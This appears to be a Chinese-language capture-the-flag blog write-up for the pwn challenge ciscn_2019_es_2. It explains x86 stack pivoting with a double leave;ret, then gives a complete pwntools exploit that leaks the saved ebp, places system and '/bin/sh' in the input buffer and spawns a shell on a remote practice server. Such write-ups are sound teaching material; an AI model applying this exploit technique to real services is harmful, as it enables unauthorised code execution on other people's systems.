pwn | ciscn_2019_es_2
x86 ret2text 栈迁移
这是我第一次做栈迁移的题目,浅浅记录一下思路
关键的利用点在于利用leave ret的组合把esp搬到低地址的地方(也就是我们输入的地方)
这题有两次输入,第一次通过溢出获取ebp地址上的值,也就是原ebp的地址
这时候先覆盖ebp地址上原ebp的值为输入的起始地址,然后让程序跳转到leave ret
关键点就在这里了
这时候第一次执行leave ret,leave:mov esp, ebp; pop ebp;
pop出来的ebp值是我们输入的起始地址
然后ret 到leave ret再次执行
第二次leave: mov esp, ebp; 就是这里,将esp也搬到了ebp的地方,也就是输入的起始地址
然后pop ebp,这时候esp指向的就是输入地址+4的位置,也就是新的返回值地址用于ret,剩下的不用多说了,就是常规操作。
exp:
from pwn import *
context.log_level = 'debug'
elf = ELF('ciscn_2019_es_2')
# p = process('ciscn_2019_es_2')
p = remote("node4.buuoj.cn", 28653)
p.recvuntil('name?')
# leak ebp
payload = 0x28 * b'M'
p.send(payload)
p.recvuntil(0x28*b'M')
ebp = u32(p.recv(4))
print(hex(ebp))
p.recv()
p_leaveret = 0x080485FD
p_system = elf.plt['system']
p_str = ebp - 0x38 # old ebp - 0x38 = input addr
p_binsh = p_str + 16
'''
ebp-0x28 -> s: xxxx
ebp -> old ebp
ebp+4 -> old eip
leave ret
'''
payload = (b'M'*4 + p32(p_system) + b'MMMM' + p32(p_binsh) + b'/bin/sh\x00' ).ljust(0x28, b'A') + p32(p_str) + p32(p_leaveret)
p.send(payload)
p.interactive()
标签:ciscn,ret,leave,地址,ebp,pwn,2019
From: https://www.cnblogs.com/Mz1-rc/p/16949046.html